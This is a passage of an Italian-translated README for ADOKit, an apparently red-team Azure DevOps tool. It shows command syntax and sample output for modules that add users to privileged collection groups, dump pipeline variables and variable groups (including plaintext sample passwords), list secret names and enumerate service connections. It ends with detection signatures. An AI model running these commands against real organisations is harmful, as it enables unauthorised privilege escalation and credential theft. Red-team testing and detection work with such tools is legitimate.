================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Remove Collection Build Admin
#### Caso d'Uso
> *Rimuove un utente dal gruppo 'Project Collection Build Administrators'.*
#### Sintassi
Fornire il modulo `removecollectionbuildadmin` insieme a un `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Build Administrators`. Inoltre, fornire le informazioni di autenticazione pertinenti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Aggiungi Account del Servizio di Build della Raccolta
Caso d'Uso
Aggiungi un utente al gruppo Project Collection Build Service Accounts.
Sintassi
Fornisci il modulo addcollectionbuildsvc insieme a /user: per un dato utente da aggiungere al gruppo Project Collection Build Service Accounts. Fornisci inoltre tutte le informazioni di autenticazione e l'URL pertinenti. Consulta la Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Esempio di Output```
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Rimuovi Collection Build Service Account
#### Caso d'Uso
> *Rimuovi un utente dal gruppo Project Collection Build Service Accounts.*
#### Sintassi
Fornisci il modulo `removecollectionbuildsvc` insieme a un `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Build Service Accounts`. Inoltre, fornisci le informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Aggiungi Collection Service Account
Caso d'Uso
Aggiungi un utente al gruppo Project Collection Service Accounts.
Sintassi
Fornisci il modulo addcollectionsvc insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Service Accounts. Inoltre, fornisci le informazioni di autenticazione e l'URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Output di Esempio```
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Rimuovi Account del Servizio di Raccolta
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Account del Servizio di Raccolta del Progetto.*
#### Sintassi
Fornisci il modulo `removecollectionsvc` insieme a `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Service Accounts`. Inoltre, fornisci tutte le informazioni di autenticazione rilevanti e l'URL. Consulta la [Tabella dei Dettagli del Modulo](#module-details-table) per i permessi necessari per eseguire questa azione.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Ottieni Variabili della Pipeline
Caso d'Uso
Estrai eventuali variabili della pipeline utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.
Sintassi
Fornisci il modulo getpipelinevars insieme a un /project: per un determinato progetto per estrarre eventuali variabili della pipeline in uso. Se desideri estrarre le variabili della pipeline da tutti i progetti, specifica all nell'argomento /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Esempio di Output```
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Ottieni Segreti della Pipeline
#### Caso d'uso
> *Estrai i nomi di eventuali segreti della pipeline in uso nei progetti, che indirizzeranno l'operatore su dove tentare di effettuare l'estrazione dei segreti.*
#### Sintassi
Fornisci il modulo `getpipelinesecrets` insieme a `/project:` per un dato progetto per estrarre i nomi di eventuali segreti della pipeline in uso. Se desideri estrarre i nomi dei segreti della pipeline da tutti i progetti, specifica `all` nell'argomento `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Esempio di Output```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Ottieni Gruppi di Variabili
Caso d'Uso
Estrai qualsiasi gruppo di variabili e le variabili corrispondenti utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.
Sintassi
Fornisci il modulo getvariablegroups insieme a /project: per un dato progetto per estrarre eventuali gruppi di variabili utilizzati. Se desideri estrarre gruppi di variabili da tutti i progetti, specifica all nell'argomento /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Esempio di Output```
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
Timestamp: 16/05/2024 16:53:31
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Ottenere Connessioni di Servizio
#### Caso d'Uso
> *Elenca tutte le connessioni di servizio in uso nei progetti, indirizzando l'operatore su dove tentare l'estrazione di credenziali per tali connessioni.*
#### Sintassi
Fornire il modulo `getserviceconnections` insieme a un argomento `/project:` per un determinato progetto al fine di elencare le connessioni di servizio in uso. Se si desidera elencare le connessioni di servizio in uso da tutti i progetti, specificare `all` nell'argomento `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Esempio di Output```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Rilevamento
Di seguito sono riportate le firme statiche per l'utilizzo specifico di questo strumento nel suo stato predefinito:
- GUID del progetto -
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}- Vedi Regola Yara di ADOKit in questo repository.
- Stringa User Agent -
ADOKit-21e233d4334f9703d1a3a42b6e2efd38- Vedi Regola Snort di ADOKit in questo repository.
- Regole di Microsoft Sentinel
ADOKitUsage.json- Rileva l'utilizzo di ADOKit con qualsiasi evento controllabile (ad esempio, aggiunta di un utente a un gruppo)PersistenceTechniqueWithADOKit.json- Rileva la creazione di una chiave PAT o SSH con ADOKit
Per una guida al rilevamento delle tecniche utilizzate dallo strumento, consulta il whitepaper di X-Force Red.
Roadmap
- Supporto per Azure DevOps Server
Riferimenti
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops